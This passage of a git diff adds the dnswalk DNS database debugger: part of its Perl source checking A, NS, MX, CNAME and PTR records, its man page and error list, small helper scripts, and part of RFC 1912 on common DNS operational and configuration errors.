PTR record\n"); + } + } + elsif ($opt_F && !&equal($name,$rr->name)) { + # Filter out "hostname-something" (like "neptune-le0") + if (index(split (/\./, $rr->name, 2) . "-", + split (/\./, $name, 2)) == -1 ) { + &printerr("WARN", $rr->name ." A ". + $rr->address .": points to $name\n") + if ((split(/\./,$name))[0] ne "localhost"); + } + } + if ($main'opt_a) { + # keep list in %glues, report any duplicates + if ($glues{$rr->address} eq "") { + $glues{$rr->address}=$rr->name; + } + elsif (($glues{$rr->address} eq $rr->name) && + (!&equal($lastns,$domain))) { + &printerr("WARN", $rr->name + .": possible duplicate A record (glue of $lastns?)\n"); + } + } + } elsif ($rr->type eq "NS") { + $lastns=$rr->name; + print STDERR 'n' if $opt_d; + # check to see if object of NS is real + &checklamer($rr->name,$rr->nsdname) if ($main'opt_l); + # check for bogusnesses like NS->IP addr + if (&isipv4addr($rr->nsdname)) { + &printerr("BAD", $rr->name + ." NS ". $rr->nsdname .": Nameserver must be a hostname\n"); + } + ($name, $aliases, $addrtype, $length, + @addrs)=gethostbyname($rr->nsdname); +# if (!(($name, $aliases, $addrtype, $length, +# @addrs)=gethostbyname($rr->nsdname))) { +# &printerr("FAIL", "gethostbyname(". $rr->nsdname ."): $!\n"); +# } +# else { + if (!$name) { + &printerr("BAD", $rr->name + ." NS ". $rr->nsdname .": unknown host\n"); + } elsif (!&equal($name,$rr->nsdname)) { + &printerr("BAD", $rr->name + ." NS ". $rr->nsdname .": CNAME (to $name)\n"); + } +# } + } elsif ($rr->type eq "MX") { + print STDERR 'm' if $opt_d; + # check to see if object of mx is real + if (&isipv4addr($rr->exchange)) { + &printerr("BAD", $rr->name + ." MX ". $rr->exchange .": Mail exchange must be a hostname\n"); + } + ($name, $aliases, $addrtype, $length, + @addrs)=gethostbyname($rr->exchange); +# if (!(($name, $aliases, $addrtype, $length, +# @addrs)=gethostbyname($rr->exchange))) { +# &printerr("FAIL", "gethostbyname(". $rr->exchange ."): $!\n"); +# } +# else { + if (!$name) { + &printerr("WARN", $rr->name + ." MX ". $rr->exchange .": unknown host\n"); + } + elsif (!&equal($name,$rr->exchange)) { + &printerr("WARN", $rr->name + ." MX ". $rr->exchange .": CNAME (to $name)\n"); + } +# } + } elsif ($rr->type eq "CNAME") { + print STDERR 'c' if $opt_d; + ($name, $aliases, $addrtype, $length, + @addrs)=gethostbyname($rr->cname); + if (&isipv4addr($rr->cname)) { + &printerr("BAD", $rr->name + ." CNAME ". $rr->cname .": alias must be a hostname\n"); + } +# if (!(($name, $aliases, $addrtype, $length, +# @addrs)=gethostbyname($rr->cname))) { +# &printerr("FAIL", "gethostbyname(". $rr->cname ."): $!\n"); +# } +# else { + if (!$name) { + &printerr("WARN", $rr->name + ." CNAME ". $rr->cname .": unknown host\n"); + } elsif (!&equal($name,$rr->cname)) { + &printerr("WARN", $rr->name + ." CNAME ". $rr->cname .": CNAME (to $name)\n"); + } +# } + } + } + print STDERR "\n" if $opt_d; + close(FILE); +} + +# prints an error message, suppressing duplicates +sub printerr { + my ($type, $err)=@_; + if ($errlist{$err}==undef) { + print "$type: $err"; + $num_error{$type}++; + print STDERR "!" if $opt_d; + $errlist{$err}=1; + } else { + print STDERR "." if $opt_d; + } +} + +sub equal { + # Do case-insensitive string comparisons + local ($one)= $_[0]; + local ($two)= $_[1]; + $stripone=$one; + if (chop($stripone) eq '.') { + $one=$stripone; + } + $striptwo=$two; + if (chop($striptwo) eq '.') { + $two=$striptwo; + } + $one =~ tr/A-Z/a-z/; + $two =~ tr/A-Z/a-z/; + return ($one eq $two); +} + +# check if argument looks like an IPv4 address +sub isipv4addr { + my ($host)=$_[0]; + my ($one,$two,$three,$four); + ($one,$two,$three,$four)=split(/\./,$host); + my $whole="$one$two$three$four"; + # strings evaluated as numbers are zero + return (($whole+0) eq $whole); +} +sub matchaddrlist { + local($match)=pack('C4', reverse(split(/\./,$_[0],4))); + local($found)=0; + foreach $i (@addrs) { + $found=1 if ($i eq $match); + } + return $found; +} + +# there's a better way to do this, it just hasn't evolved from +# my brain to this program yet. +sub byhostname { + @c = reverse(split(/\./,$a)); + @d = reverse(split(/\./,$b)); + for ($i=0;$i<=(($#c > $#d) ? $#c : $#d) ;$i++) { + next if $c[$i] eq $d[$i]; + return -1 if $c[$i] eq ""; + return 1 if $d[$i] eq ""; + if ($c[$i] eq int($c[$i])) { + # numeric + return $c[$i] <=> $d[$i]; + } + else { + # string + return $c[$i] cmp $d[$i]; + } + } + return 0; +} + +sub checklamer { + my ($zone,$nameserver)=@_; + my ($packet) = new Net::DNS::Packet($zone, "SOA", "IN"); + my ($soa_req); + my ($res) = new Net::DNS::Resolver; + unless ($res->nameservers($nameserver)) { + &printerr("FAIL", "Cannot find address for nameserver: ". + $res->errorstring. "\n"); + } + $soa_req = $res->send($packet); + unless (defined($soa_req)) { + &printerr("FAIL", + "Cannot get SOA record for $zone from $nameserver (lame?): ". + $res->errorstring ."\n"); + return; + } + &printerr("BAD", "$zone NS $nameserver: lame NS delegation\n") + unless ($soa_req->header->aa); + return; +} diff --git a/dns-projects/dnswalk/dnswalk.1 b/dns-projects/dnswalk/dnswalk.1 new file mode 100644 index 0000000..fd35f23 --- /dev/null +++ b/dns-projects/dnswalk/dnswalk.1 @@ -0,0 +1,221 @@ +.TH DNSWALK 1 +.SH NAME +dnswalk \- A DNS database debugger +.SH SYNOPSIS +.B dnswalk +[ +.BR \- adilrfFm +] +.I domain. +.SH "DESCRIPTION" +.B dnswalk +is a DNS debugger. It performs zone transfers of specified domains, +and checks the database in numerous ways for internal consistency, as +well as for correctness according to accepted practices with the Domain +Name System. +.PP +The +.I domain +name specified on the command line MUST end with a '.'. +You can specify a forward domain, such as +.B dnswalk podunk.edu. +or a reverse domain, such as +.B dnswalk 3.2.1.in-addr.arpa. +.SH OPTIONS +.PD 0 +.TP +.BI \-r +Recursively descend sub-domains of the specified +domain. Use with care. +.TP +.BI \-a +Turn on warning of duplicate A records. (see below) +.TP +.BI \-d +Print debugging and 'status' information to stderr. +(Use only if redirecting stdout) See DIAGNOSTICS section. +.TP +.BI \-m +Perform checks only if the zone has been modified since the previous run. +.TP +.BI \-F +perform "fascist" checking. When checking an A record, +compare the PTR name for each IP address with the forward +name and report mismatches. (see below) I recommend +you try this option at least once to see what sorts of +errors pop up - you might be surprised!. +.TP +.BI \-i +Suppress check for invalid characters in a domain name. (see below) +.TP +.BI \-l +Perform "lame delegation" checking. For every NS record, +check to see that the listed host is indeed returning +authoritative answers for this domain. +.TP +.SH ERRORS +The following the list of error messages that +.B dnswalk +will return +if it sees a potential problem with the database. Duplicate messages +will be suppressed automatically for each zone. Error messages are +prefixed by a keyword indiciating the message type: "WARN" (possible +data problem), "FAIL" (failure to access data), or "BAD" (invalid data). +.B dnswalk +exits with a return code equal to the number of "BAD" errors. +.TP +.PD 0 +.BI "X PTR Y: unknown host" +X is a PTR record to Y, but Y is not a valid host (no A record). +These are often left over from when someone deleted a host from +the DNS and forgot to delete the PTR record. +.TP +.BI "X PTR Y: A record not found" +X is a PTR record to Y, but the IP address associated with the PTR +record is not listed as an address for Y. There should be an A +record for every valid IP address for a host. Many Internet services +will not talk to you if you have mismatched PTR records. +.TP +.BI "X PTR Y: CNAME (to Z)" +X is a PTR record to Y, but Y is a CNAME to Z. PTR records MUST point +to the canonical name of a host, not an alias. +.TP +.BI "X CNAME Y: unknown host" +X is aliased to Y, but Y is not a valid host (no A record). +.TP +.BI "X CNAME Y: CNAME (to Z)" +X is aliased to Y, but Y is aliased to Z. CNAMEs should not be chained. +.TP +.BI "X MX Y: unknown host" +X is an MX to Y, but Y is not a valid host (no A record). +.TP +.BI "X MX Y: CNAME (to Z)" +X is an MX to Y, but Y is an alias for Z. MX records must point to +the canonical name, not an alias. +.TP +.BI "X A Y: no PTR record" +X has an IP address Y, but there is no PTR record to map the IP address +Y back to a hostname (usually X). Many Internet servers (such as anonymous +FTP servers) will not talk to addresses that don't have PTR records. +.TP +.BI "warning: X has only one authoritative nameserver" +Zones must have at least one authoritative nameserver, in case +one is down or unreachable. Make sure the parent and child domains +list all authoritative nameservers for a zone. +.TP +.BI "Cannot check X: no available nameservers!" +The X zone was delegated with NS records but all the nameservers +for the zone are either unavailable or say that they have no data for +the zone (are lame). Verify that the X zone isn't a typo, and if so +make sure that all the listed nameservers are configured to answer +with data for the zone. +.TP +.BI "X: invalid character(s) in name" +Allowable characters in a domain name are the ASCII letters a through Z +the digits 0 through 9, +and the "-" character. A "." may be used only as a domain separator. +(checking can be suppressed with +.B \-i +) +.TP +.BI "X: domain occurred twice, forgot trailing '.'?" +A sanity check which looks for "dom.ain.dom.ain." in a name. This +is often caused by forgetting to put a trailing '.' on the end of +a name. +.TP +(with -a switch) +.TP +.BI "X: possible duplicate A record (glue of Z?)" +A duplicate A records is listed for X. NOTE: this is most +often caused by the practice of always putting A records for all +secondaries after NS glue records. While this is not an error, it is +usually redundant and makes changing IP addresses later more difficult, +since they occur more than one time in the file (and in multiple +files). You may get spurious errors, mostly because of a quirk in +BIND releases before 4.9.x that reports cached glue A records in a zone +transfer even though they don't exist in the original zone file. +.TP +(with -F switch) +.TP +.BI "X A Y: points to Z" +X has Y for an IP address, but the PTR record associated with Y +returns "Z" as the name associated with that host. This is not +necessarily an error (for example if you have an A record for your +domain name), but can be useful to check for A records which point +to the wrong host, or PTR records that point to the wrong host. +.TP +.BI "Cannot find address for nameserver X" +This error is generated if the address for a delegated nameserver X +cannot be resolved. This could be a lame delegation (due to a typo +in delegation), or a temporary DNS error. +.TP +(with -l switch) +.TP +.BI "X NS Y: lame NS delegation" +Y is a listed nameserver for zone X, but Y is not returning +authoritative data for zone X. This is usually the result of a +lack of communication on the part of the respective hostmasters. Lame +delegations are not fatal problems except in severe cases, they just +tend to create significant increases in DNS traffic. NS records for +the parent and child domains should be consistent, and each server +listed in the NS record MUST be able to answer with authoritative data, +either by being a primary or secondary for the zone. +.TP +.BI "Cannot get SOA record for X from Y (lame?)" +This error is generated if dnswalk cannot get the SOA record for +zone X from the nameserver Y. This could +mean a lame delegation, or simply that the host is temporarily +unreachable. +.SH "SEE ALSO" +.nf +RFC 1034 - "DOMAIN NAMES - CONCEPTS AND FACILITIES" +RFC 1035 - "DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION" +RFC 1123 - "Requirements for Internet Hosts -- Application and Support" +Paul Albitz, Cricket Liu: "DNS and BIND" O'Reilly & Associates. +.SH DIAGNOSTICS +When invoked with the +.B \-d +option, +.B dnswalk +will print status information to stderr. It consists of information +about what zone is being checked, and a single letter corresponding +to the resource record checked, and any errors. +.TP +.BI a +A record +.TP +.BI c +CNAME record +.TP +.BI p +PTR record +.TP +.BI m +MX record +.TP +.BI s +SOA record +.TP +.BI ! +An error occurred +.TP +.BI . +A previous error in the zone was repeated, but suppressed. +.PP +.SH BUGS +dnswalk will make the directory tree before it has a chance to +find out that you gave it a bogus domain name. +.PP +When checking lots of hosts and lots of options, it is very +slow. Running dnswalk on a machine with a local nameserver helps +considerably. +.PP +Perl's gethostby{name,addr}() routine doesn't seem to +consistently return an error whenever it is unable to resolve an +address. Argh. This will mean lots of "no PTR record" and "host unknown" +errors if a server is unavailable, or for some reason the lookup fails. +You may get strange error messages if your perl was compiled without +support for herror(). +.PP +.SH AUTHOR +David Barr diff --git a/dns-projects/dnswalk/dnswalk.errors b/dns-projects/dnswalk/dnswalk.errors new file mode 100644 index 0000000..a41b0f2 --- /dev/null +++ b/dns-projects/dnswalk/dnswalk.errors @@ -0,0 +1,96 @@ + The following the list of error messages that dnswalk will + return if it sees a potential problem with the database. + Duplicate messages will be suppressed automatically for each + zone. + X PTR Y: unknown host + X is a PTR record to Y, but Y is not a valid host (no A + record). These are often left over from when someone + deleted a host from the DNS and forgot to delete the + PTR record. These records should be removed. + X PTR Y: A record not found + X is a PTR record to Y, but the IP address associated + with the PTR record is not listed as an address for Y. + There should be an A record for every valid IP address + for a host. Many Internet services will not talk to + you if you have mismatched PTR records. + X PTR Y: CNAME (to Z) + X is a PTR record to Y, but Y is a CNAME to Z. PTR + records should point to the real name of a host, not an + alias. + X CNAME Y: unknown host + X is aliased to Y, but Y is not a valid host (no A + record). This is a stale entry and should be removed. + X CNAME Y: CNAME (to Z) + X is aliased to Y, but Y is aliased to Z. CNAMEs + should not be chained together. It has been known to + cause problems with some software. + X MX Y: unknown host + X is an MX to Y, but Y is not a valid host (no A + record). This is a stale entry and should be removed. + X MX Y: CNAME (to Z) + X is an MX to Y, but Y is an alias for Z. MX records + must point to the canonical name, not an alias. + X A Y: no PTR record + X has an IP address Y, but there is no PTR record to + map the IP address Y back to a hostname (usually X). + Many Internet servers (such as anonymous FTP servers) + will not talk to addresses that don't have PTR records. + warning: X has only one authoritative nameserver + Zones should have more than one authoritative name- + server, in case one is down or unreachable. Preferably + one should be off-site. Make sure the parent and child + nameservers list all authoritative nameservers for a + zone in the NS list. + X: invalid character(s) in name + Allowable characters in a domain name are the ASCII + letters a through Z the digits 0 through 9, and the "-" + character. A "." may be used only as a domain separa- + tor. Using non-standard characters can cause unexpected + software problems. + X: domain occurred twice, forgot trailing '.'? + A sanity check which looks for "dom.ain.dom.ain." in a + name. This is often caused by forgetting to put a + trailing '.' on the end of a name. + X A Y: points to Z + X has Y for an IP address, but the PTR record associ- + ated with Y returns "Z" as the name associated with + that host. This is not necessarily an error (for exam- + ple if you have an A record for your domain name), but + may be an indication of an A record which points to the + wrong host, or a PTR record that points to the wrong + host. You will get this error if you are trying to + alias one host to another with an A record. You should + use a CNAME instead. + X NS Y: lame NS delegation + Y is a listed nameserver for zone X, but Y is not + returning authoritative data for zone X. This is usu- + ally the result of a lack of communication on the part + of the respective hostmasters. Lame delegations are + not fatal problems except in severe cases, they just + tend to create significant increases in DNS traffic. + NS records for the parent and child domains should be + consistent, and each server listed in the NS record + MUST be able to answer with authoritative data, by + being explicitly configured as a primary or secondary + for the zone. + X NS Y: nameserver error (lame?) + These are any errors returned while contacting other + nameservers (like connection refused or timeout) This + could mean a lame delegation (the host is not running + a nameserver or is misconfigured), or simply that the + nameserver is temporarily unreachable. + Cannot check X: no available nameservers! + The X zone was delegated with NS records but all the + nameservers for the zone are either unavailable or say + that they have no data for the zone (are lame). Verify + that the X zone isn't a typo, and if not make sure that + all the listed nameservers are configured to answer + with data for the zone. + +SEE ALSO + RFC 1034 - "DOMAIN NAMES - CONCEPTS AND FACILITIES" + RFC 1035 - "DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION" + RFC 1123 - "Requirements for Internet Hosts -- Application and Support" + Paul Albitz, Cricket Liu: "DNS and BIND" O'Reilly & Associates. + RFC 1912 - "Common DNS Operational and Configuration Errors" + http://www.dns.net/dnsrd/ - DNS Resources Directory diff --git a/dns-projects/dnswalk/do-dnswalk b/dns-projects/dnswalk/do-dnswalk new file mode 100755 index 0000000..b60d618 --- /dev/null +++ b/dns-projects/dnswalk/do-dnswalk @@ -0,0 +1,16 @@ +#!/bin/sh +# Here's an example script for a hostmaster of a large site +# to automate the process +# You can also run "./makereports ${logfile} +./dnswalk ${flags} $* podunk.edu. +./dnswalk ${flags} $* 1.1.in-addr.arpa. +./dnswalk ${flags} $* 2.1.in-addr.arpa. +./dnswalk ${flags} $* 1.2.1.in-addr.arpa. +./dnswalk ${flags} $* 2.2.1.in-addr.arpa. diff --git a/dns-projects/dnswalk/makereports b/dns-projects/dnswalk/makereports new file mode 100755 index 0000000..14a472c --- /dev/null +++ b/dns-projects/dnswalk/makereports @@ -0,0 +1,30 @@ +#!/usr/contrib/bin/perl +# This takes output from dnswalk and makes a "rep.orts" directory +# with one file per contact. Great for sending mail to all the admins. + +mkdir("rep.orts",0777); + +while (<>) { + if (/^Checking (.*).$/) { + $zone=$1; + next; + } + if (/^warning: .* has /) { # ugly + $warning=$_; + next; + } + if (/^SOA.*contact=(.*)$/) { + close(REPORT); + $contact=$1; + $contact=~ tr/A-Z/a-z/; + print "writing report for $contact\n"; + open(REPORT,">>rep.orts/$contact") || die "cannot write to rep.orts/$1: $!\n"; + print REPORT "Potential errors for zone: $zone\n"; + if ($warning) { + print REPORT $warning; + undef $warning; + } + } + print REPORT; +} +close(REPORT); diff --git a/dns-projects/dnswalk/rfc1912.txt b/dns-projects/dnswalk/rfc1912.txt new file mode 100644 index 0000000..8ace7d2 --- /dev/null +++ b/dns-projects/dnswalk/rfc1912.txt @@ -0,0 +1,899 @@ + + + + + + +Network Working Group D. Barr +Request for Comments: 1912 The Pennsylvania State University +Obsoletes: 1537 February 1996 +Category: Informational + + + Common DNS Operational and Configuration Errors + +Status of this Memo + + This memo provides information for the Internet community. This memo + does not specify an Internet standard of any kind. Distribution of + this memo is unlimited. + +Abstract + + This memo describes errors often found in both the operation of + Domain Name System (DNS) servers, and in the data that these DNS + servers contain. This memo tries to summarize current Internet + requirements as well as common practice in the operation and + configuration of the DNS. This memo also tries to summarize or + expand upon issues raised in [RFC 1537]. + +1. Introduction + + Running a nameserver is not a trivial task. There are many things + that can go wrong, and many decisions have to be made about what data + to put in the DNS and how to set up servers. This memo attempts to + address many of the common mistakes and pitfalls that are made in DNS + data as well as in the operation of nameservers. Discussions are + also made regarding some other relevant issues such as server or + resolver bugs, and a few political issues with respect to the + operation of DNS on the Internet. + +2. DNS Data + + This section discusses problems people typically have with the DNS + data in their nameserver, as found in the zone data files that the + nameserver loads into memory. + +2.1 Inconsistent, Missing, or Bad Data + + Every Internet-reachable host should have a name. The consequences + of this are becoming more and more obvious. Many services available + on the Internet will not talk to you if you aren't correctly + registered in the DNS. + + + + + +Barr Informational [Page 1] + +RFC 1912 Common DNS Errors February 1996 + + + Make sure your PTR and A records match. For every IP address, there + should be a matching PTR record in the in-addr.arpa domain. If a + host is multi-homed, (more than one IP address) make sure that all IP + addresses have a corresponding PTR record (not just the first one). + Failure to have matching PTR and A records can cause loss of Internet + services similar to not being registered in the DNS at all. Also, + PTR records must point back to a valid A record, not a alias defined + by a CNAME. It is highly recommended that you use some software + which automates this checking, or generate your DNS data from a + database which automatically creates consistent data. + + DNS domain names consist of "labels" separated by single dots. The + DNS is very liberal in its rules for the allowable characters in a + domain name. However, if a domain name is used to name a host, it + should follow rules restricting host names. Further if a name is + used for mail, it must follow the naming rules for names in mail + addresses. + + Allowable characters in a label for a host name are only ASCII + letters, digits, and the `-' character. Labels may not be all + numbers, but may have a leading digit (e.g., 3com.com). Labels must + end and begin only with a letter or digit. See [RFC 1035] and [RFC + 1123]. (Labels were initially restricted in [RFC 1035] to start with + a letter, and some older hosts still reportedly have problems with + the relaxation in [RFC 1123].) Note there are some Internet + hostnames which violate this rule (411.org, 1776.com). The presence + of underscores in a label is allowed in [RFC 1033], except [RFC 1033] + is informational only and was not defining a standard. There is at + least one popular TCP/IP implementation which currently refuses to + talk to hosts named with underscores in them. It must be noted that + the language in [1035] is such that these rules are voluntary -- they + are there for those who wish to minimize problems. Note that the + rules for Internet host names also apply to hosts and addresses used + in SMTP (See RFC 821). + + If a domain name is to be used for mail (not involving SMTP), it must + follow the rules for mail in [RFC 822], which is actually more + liberal than the above rules. Labels for mail can be any ASCII + character except "specials", control characters, and whitespace + characters. "Specials" are specific symbols used in the parsing of + addresses. They are the characters "()<>@,;:\".[]". (The "!" + character wasn't in [RFC 822], however it also shouldn't be used due + to the conflict with UUCP mail as defined in RFC 976) However, since + today almost all names which are used for mail on the Internet are + also names used for hostnames, one rarely sees addresses using these + relaxed standard, but mail software should be made liberal and robust + enough to accept them. + + + + +Barr Informational [Page 2] + +RFC 1912 Common DNS Errors February 1996 + + + You should also be careful to not have addresses which are valid + alternate syntaxes to the inet_ntoa() library call. For example 0xe + is a valid name, but if you were to type "telnet 0xe", it would try + to connect to IP address 0.0.0.14. It is also rumored that there + exists some broken inet_ntoa() routines that treat an address like + x400 as an IP address. + + Certain operating systems have limitations on the length of their own + hostname. While not strictly of issue to the DNS, you should be + aware of your operating system's length limits before choosing the + name of a host. + + Remember that many resource records (abbreviated RR) take on more + than one argument. HINFO requires two arguments, as does RP. If you + don't supply enough arguments, servers sometime return garbage for + the missing fields. If you need to include whitespace within any + data, you must put the string in quotes. + +2.2 SOA records + + In the SOA record of every zone, remember to fill in the e-mail + address that will get to the person who maintains the DNS at your + site (commonly referred to as "hostmaster"). The `@' in the e-mail + must be replaced by a `.' first. Do not try to put an `@' sign in + this address. If the local part of the address already contains a + `.' (e.g., John.Smith@widget.xx), then you need to quote the `.' by + preceding it with `\' character. (e.g., to become + John\.Smith.widget.xx) Alternately (and preferred), you can just use + the generic name `hostmaster', and use a mail alias to redirect it to + the appropriate persons. There exists software which uses this field + to automatically generate the e-mail address for the zone contact. + This software will break if this field is improperly formatted. It + is imperative that this address get to one or more real persons, + because it is often used for everything from reporting bad DNS data + to reporting security incidents. + + Even though some BIND versions allow you to use a decimal in a serial + number, don't. A decimal serial number is converted to an unsigned + 32-bit integer internally anyway. The formula for a n.m serial + number is n*10^(3+int(0.9+log10(m))) + m which translates to + something rather unexpected. For example it's routinely possible + with a decimal serial number (perhaps automatically generated by + SCCS) to be incremented such that it is numerically larger, but after + the above conversion yield a serial number which is LOWER than + before. Decimal serial numbers have been officially deprecated in + recent BIND versions. The recommended syntax is YYYYMMDDnn + (YYYY=year, MM=month, DD=day, nn=revision number. This won't + overflow until the year 4294. + + + +Barr Informational [Page 3] + +RFC 1912 Common DNS Errors February 1996 + + + Choose logical values for the timer values in the SOA record (note + values below must be expressed as seconds in the zone data): + + Refresh: How often a secondary will poll the primary server to see + if the serial number for the zone has increased (so it knows + to request a new copy of the data for the zone). Set this to + how long your secondaries can comfortably contain out-of-date + data. You can keep it short (20 mins to 2 hours) if you + aren't worried about a small increase in bandwidth used, or + longer (2-12 hours) if your Internet connection is slow or is + started on demand. Recent BIND versions (4.9.3) have optional + code to automatically notify secondaries that data has + changed, allowing you to set this TTL to a long value (one + day, or more). + + Retry: If a secondary was unable to contact the primary at the + last refresh, wait the retry value before trying again. This + value isn't as important as others, unless the secondary is on + a distant network from the primary or the primary is more + prone to outages. It's typically some fraction of the refresh + interval. + + + Expire: How long a secondary will still treat its copy of the zone + data as valid if it can't contact the primary. This value + should be greater than how long a major outage would typically + last, and must be greater than the minimum and retry + intervals, to avoid having a secondary expire the data before + it gets a chance to get a new copy. After a zone is expired a + secondary will still continue to try to contact the primary, + but it will no longer provide nameservice for the zone. 2-4 + weeks are suggested values. + + Minimum: The default TTL (time-to-live) for resource records -- + how long data will remain in other nameservers' cache. ([RFC + 1035] defines this to be the minimum value, but servers seem + to always implement this as the default value) This is by far + the most important timer. Set this as large as is comfortable + given how often you update your nameserver. If you plan to + make major changes, it's a good idea to turn this value down + temporarily beforehand. Then wait the previous minimum value, + make your changes, verify their correctness, and turn this + value back up. 1-5 days are typical values. Remember this + value can be overridden on individual resource records. + + + + + + + +Barr Informational [Page 4] + +RFC 1912 Common DNS Errors February 1996 + + + As you can see, the typical values above for the timers vary widely. + Popular documentation like [RFC 1033] recommended a day for the + minimum TTL, which is now considered too low except for zones with + data that vary regularly. Once a DNS stabilizes, values on the order + of 3 or more days are recommended. It is also recommended that you + individually override the TTL on certain RRs which are often + referenced and don't often change to have very large values (1-2 + weeks). Good examples of this are the MX, A, and PTR records of your + mail host(s), the NS records of your zone, and the A records of your + nameservers. + +2.3 Glue A Records + + Glue records are A records that are associated with NS records to + provide "bootstrapping" information to the nameserver. For example: + + podunk.xx. in ns ns1.podunk.xx. + in ns ns2.podunk.xx. + ns1.podunk.xx. in a 1.2.3.4 + ns2.podunk.xx. in a 1.2.3.5 + + Here, the A records are referred to as "Glue records". + + Glue records are required only in forward zone files for nameservers + that are located in the subdomain of the current zone that is being + delegated. You shouldn't have any A records in an in-addr.arpa zone + file (unless you're using RFC 1101-style encoding of subnet masks). + + If your nameserver is multi-homed (has more than one IP address), you + must list all of its addresses in the glue to avoid cache + inconsistency due to differing TTL values, causing some lookups to + not find all addresses for your nameserver. + + Some people get in the bad habit of putting in a glue record whenever + they add an NS record "just to make sure". Having duplicate glue + records in your zone files just makes it harder when a nameserver + moves to a new IP address, or is removed. You'll spend hours trying + to figure out why random people still see the old IP address for some + host, because someone forgot to change or remove a glue record in + some other file. Newer BIND versions will ignore these extra glue + records in local zone files. + + Older BIND versions (4.8.3 and previous) have a problem where it + inserts these extra glue records in the zone transfer data to + secondaries. If one of these glues is wrong, the error can be + propagated to other nameservers. If two nameservers are secondaries + for other zones of each other, it's possible for one to continually + pass old glue records back to the other. The only way to get rid of + + + +Barr Informational [Page 5] + +RFC 1912 Common DNS Errors February 1996 + + + the old data is to kill both of them, remove the saved backup files, + and restart them. Combined with that those same versions also tend + to become infected more easily with bogus data found in other non- + secondary nameservers (like the root zone data). + +2.4 CNAME records + + A CNAME record is not allowed to coexist with any other data. In + other words, if suzy.podunk.xx is an alias for sue.podunk.xx, you + can't also have an MX record for suzy.podunk.edu, or an A record, or + even a TXT record. Especially do not try to combine CNAMEs and NS + records like this!: + + + podunk.xx. IN NS ns1 + IN NS ns2 + IN CNAME mary + mary IN A 1.2.3.4 + + + This is often attempted by inexperienced administrators as an obvious + way to allow your domain name to also be a host. However, DNS + servers like BIND will see the CNAME and refuse to add any other + resources for that name. Since no other records are allowed to + coexist with a CNAME, the NS entries are ignored. Therefore all the + hosts in the podunk.xx domain are ignored as well! + + If you want to have your domain also be a host, do the following: + + podunk.xx. IN NS ns1 + IN NS ns2 + IN A 1.2.3.4 + mary IN A 1.2.3.4 + + Don't go overboard with CNAMEs. Use them when renaming hosts, but + plan to get rid of them (and inform your users). However CNAMEs are + useful (and encouraged) for generalized names for servers -- `ftp' + for your ftp server, `www' for your Web server, `gopher' for your + Gopher server, `news' for your Usenet news server, etc. + + Don't forget to delete the CNAMEs associated with a host if you + delete the host it is an alias for. Such "stale CNAMEs" are a waste + of resources. + + + + + + + + +Barr Informational [Page 6] + +RFC 1912 Common DNS Errors February 1996 + + + Don't use CNAMEs in combination with RRs which point to other names + like MX, CNAME, PTR and NS. (PTR is an exception if you want to + implement classless in-addr delegation.) For example, this is + strongly discouraged: + + podunk.xx. IN MX mailhost + mailhost IN CNAME mary + mary IN A 1.2.3.4 + + + [RFC 1034] in section 3.6.2 says this should not be done, and [RFC + 974] explicitly states that MX records shall not point to an alias + defined by a CNAME. This results in unnecessary indirection in + accessing the data, and DNS resolvers and servers need to work more + to get the answer. If you really want to do this, you can accomplish + the same thing by using a preprocessor such as m4 on your host files. + + Also, having chained records such as CNAMEs pointing to CNAMEs may + make administration issues easier, but is known to tickle bugs in + some resolvers that fail to check loops correctly. As a result some + hosts may not be able to resolve such names. + + Having NS records pointing to a CNAME is bad and may conflict badly + with current BIND servers. In fact, current BIND implementations + will ignore such records, possibly leading to a lame delegation. + There is a certain amount of security checking done in BIND to + prevent spoofing DNS NS records. Also, older BIND servers reportedly + will get caught in an infinite query loop trying to figure out the + address for the aliased nameserver, causing a continuous stream of + DNS requests to be sent. + +2.5 MX records + + It is a good idea to give every host an MX record, even if it points + to itself! Some mailers will cache MX records, but will always need + to check for an MX before sending mail. If a site does not have an + MX, then every piece of mail may result in one more resolver query, + since the answer to the MX query often also contains the IP addresses + of the MX hosts. Internet SMTP mailers are required by [RFC 1123] to + support the MX mechanism. + + Put MX records even on hosts that aren't intended to send or receive + e-mail. If there is a security problem involving one of these hosts, + some people will mistakenly send mail to postmaster or root at the + site without checking first to see if it is a "real" host or just a + terminal or personal computer that's not set up to accept e-mail. If + you give it an MX record, then the e-mail can be redirected to a real + person. Otherwise mail can just sit in a queue for hours or days + + + +Barr Informational [Page 7] + +RFC 1912 Common DNS Errors February 1996 + + + until the mailer gives up trying to send it. + + Don't forget that whenever you add an MX record, you need to inform + the target mailer if it is to treat the first host as "local". (The + "Cw" flag in sendmail, for example) + + If you add an MX record which points to an external host (e.g., for + the purposes of backup mail routing) be sure to ask permission from + that site first. Otherwise that site could get rather upset and take + action (like throw your mail away, or appeal to higher authorities + like your parent DNS administrator or network provider.) + +2.6 Other Resource Records + +2.6.1 WKS + + WKS records are deprecated in [RFC 1123]. They serve no known useful + function, except internally among LISP machines. Don't use them. + +2.6.2 HINFO + + On the issue HINFO records, some will argue that these is a security + problem (by broadcasting what vendor hardware and operating system + you so people can run systematic attacks on known vendor security + holes). If you do use them, you should keep up to date with known + vendor security problems. However, they serve a useful purpose. + Don't forget that HINFO requires two arguments, the hardware type, + and the operating system. + + HINFO is sometimes abused to provide other information. The record + is meant to provide specific information about the machine itself. + If you need to express other information about the host in the DNS, + use TXT. + +2.6.3 TXT + + TXT records have no specific definition. You can put most anything + in them. Some use it for a generic description of the host, some put + specific information like its location, primary user, or maybe even a + phone number. + +2.6.4 RP + + RP records are relatively new. They are used to specify an e-mail + address (see first paragraph of section 2.2) of the "Responsible + Person" of the host, and the name of a TXT record where you can get + more information. See [RFC 1183]. + + + + +Barr Informational [Page 8] + +RFC 1912 Common DNS Errors February 1996 + + +2.7 Wildcard records + + Wildcard MXs are useful mostly for non IP-connected sites. A common + mistake is thinking that a wildcard MX for a zone will apply to all + hosts in the zone. A wildcard MX will apply only to names in the + zone which aren't listed in the DNS at all. e.g., + + podunk.xx. IN NS ns1 + IN NS ns2 + mary IN A 1.2.3.4 + *.podunk.xx. IN MX 5 sue + + Mail for mary.podunk.xx will be sent to itself for delivery. Only + mail for jane.podunk.xx or any hosts you don't see above will be sent + to the MX. For most Internet sites, wildcard MX records are not + useful. You need to put explicit MX records on every host. + + Wildcard MXs can be bad, because they make some operations succeed + when they should fail instead. Consider the case where someone in + the domain "widget.com" tries to send mail to "joe@larry". If the + host "larry" doesn't actually exist, the mail should in fact bounce + immediately. But because of domain searching the address gets + resolved to "larry.widget.com", and because of the wildcard MX this + is a valid address according to DNS. 